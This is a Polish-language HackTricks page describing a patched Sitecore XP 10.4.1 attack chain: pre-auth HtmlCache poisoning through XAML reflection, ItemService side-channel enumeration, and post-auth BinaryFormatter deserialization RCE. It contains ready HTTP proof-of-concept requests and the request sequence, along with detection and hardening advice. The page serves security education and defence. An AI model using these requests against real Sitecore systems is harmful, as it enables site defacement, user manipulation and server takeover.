Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
Reading time: 7 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Ta strona podsumowuje praktyczny łańcuch ataku przeciwko Sitecore XP 10.4.1, który przechodzi od pre‑auth XAML handler do HTML cache poisoning i, poprzez authenticated UI flow, do RCE za pomocą BinaryFormatter deserialization. Techniki te uogólniają się na podobne wersje/komponenty Sitecore i dostarczają konkretne prymitywy do testowania, wykrywania i zabezpieczania.
- Testowany produkt: Sitecore XP 10.4.1 rev. 011628
- Naprawione w: KB1003667, KB1003734 (czerwiec/lipiec 2025)
Zobacz także:
Cache Poisoning and Cache Deception
Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
Punkt wejścia to pre‑auth XAML handler zarejestrowany w web.config:
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
Dostępne przez:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
Drzewo kontrolek zawiera AjaxScriptManager, który przy żądaniach zdarzeń odczytuje pola kontrolowane przez atakującego i przy użyciu refleksji wywołuje metody na docelowych kontrolkach:
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
Kluczowa obserwacja: strona XAML zawiera instancję XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl dziedziczy po Sitecore.Web.UI.WebControl (klasie Sitecore), która przepuszcza ReflectionUtil.Filter allow‑list (Sitecore.*), odblokowując metody na Sitecore WebControl.
Magiczna metoda do poisoning:
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
Ponieważ możemy targetować xmlcontrol:GlobalHeader i wywoływać metody Sitecore.Web.UI.WebControl po nazwie, uzyskujemy pre‑auth prymityw pozwalający na dowolny zapis do HtmlCache.
Prośba o PoC (CVE-2025-53693)
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Notatki:
- __SOURCE jest clientID xmlcontrol:GlobalHeader w ramach Sitecore.Shell.Xaml.WebControl (zwykle stabilny, np. ctl00_ctl00_ctl05_ctl03, ponieważ jest wyprowadzony ze statycznego XAML).
- __PARAMETERS ma format Method("arg1","arg2").
Co zatruć: konstrukcja klucza Cache
Typowa konstrukcja klucza HtmlCache używana przez kontrolki Sitecore:
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
Przykład targeted poisoning dla znanego sublayoutu:
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Wyliczanie elementów cache'owalnych i wymiarów “vary by”
Jeśli ItemService jest (błędnie) wystawiony anonimowo, możesz wyliczyć komponenty cache'owalne, aby uzyskać dokładne klucze.
Szybkie sprawdzenie:
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
Wypisz elementy możliwe do cache'owania i flagi:
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
Szukaj pól takich jak Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Nazwy urządzeń można wyliczyć za pomocą:
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
Side‑channel enumeration under restricted identities (CVE-2025-53694)
Nawet gdy ItemService podszywa się pod ograniczone konto (np. ServicesAPI) i zwraca pustą tablicę Results, TotalCount może nadal odzwierciedlać pre‑ACL trafienia w Solr. Możesz brute‑force item groups/ids przy użyciu wildcards i obserwować, jak TotalCount zbiega się, aby zmapować wewnętrzną zawartość i urządzenia:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
Post‑auth RCE: BinaryFormatter sink w convertToRuntimeHtml (CVE-2025-53691)
Miejsce wykorzystania:
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
Dostępne za pośrednictwem kroku pipeline convertToRuntimeHtml o nazwie ConvertWebControls, który szuka elementu o id {iframeId}_inner, base64 decodes + deserializes jego zawartość, a następnie wstrzykuje powstały string do HTML:
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
Wyzwalacz (uwierzytelniony, prawa Content Editor). Okno dialogowe FixHtml wywołuje convertToRuntimeHtml. End‑to‑end bez kliknięć w UI:
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
Generowanie gadgetu: użyj ysoserial.net / YSoNet z BinaryFormatter, aby wygenerować base64 payload zwracający string. Zawartość tego stringa jest zapisywana do HTML przez ConvertWebControls po wykonaniu efektów ubocznych deserializacji.
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Pełny łańcuch
- Pre‑auth attacker zatruwa HtmlCache dowolnym HTML, wywołując refleksyjnie WebControl.AddToCache przez XAML AjaxScriptManager.
- Zatruty HTML serwuje JavaScript, który nakłania uwierzytelnionego użytkownika Content Editor do przejścia przez flow FixHtml.
- Strona FixHtml uruchamia convertToRuntimeHtml → ConvertWebControls, które deserializuje kontrolowane przez atakującego base64 za pomocą BinaryFormatter → RCE pod tożsamością puli aplikacji Sitecore.
Wykrywanie
- Pre‑auth XAML: żądania do
/-/xaml/Sitecore.Shell.Xaml.WebControl
z__ISEVENT=1
, podejrzane__SOURCE
oraz__PARAMETERS=AddToCache(...)
. - ItemService probing: skoki zapytań wildcard do
/sitecore/api/ssc
, dużeTotalCount
przy pustychResults
. - Próby deserializacji:
EditHtml.aspx
a następnieFixHtml.aspx?hdl=...
oraz nietypowo duże base64 w polach HTML.
Utwardzanie
- Zastosuj poprawki Sitecore KB1003667 i KB1003734; zablokuj/wyłącz pre‑auth XAML handlers lub dodaj rygorystyczną walidację; monitoruj i ograniczaj liczbę żądań do
/-/xaml/
. - Usuń/zastąp BinaryFormatter; ogranicz dostęp do convertToRuntimeHtml lub wymuś silną walidację po stronie serwera w przepływach edycji HTML.
- Zablokuj
/sitecore/api/ssc
do loopback lub autoryzowanych ról; unikaj wzorców impersonation, które tworzą kanały boczne oparte naTotalCount
. - Wymuś MFA/zasadę najmniejszych uprawnień dla użytkowników Content Editor; przejrzyj CSP, aby zmniejszyć wpływ JS steering wynikający z cache poisoning.
References
- watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE
- Sitecore KB1003667 – Security patch
- Sitecore KB1003734 – Security patch
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.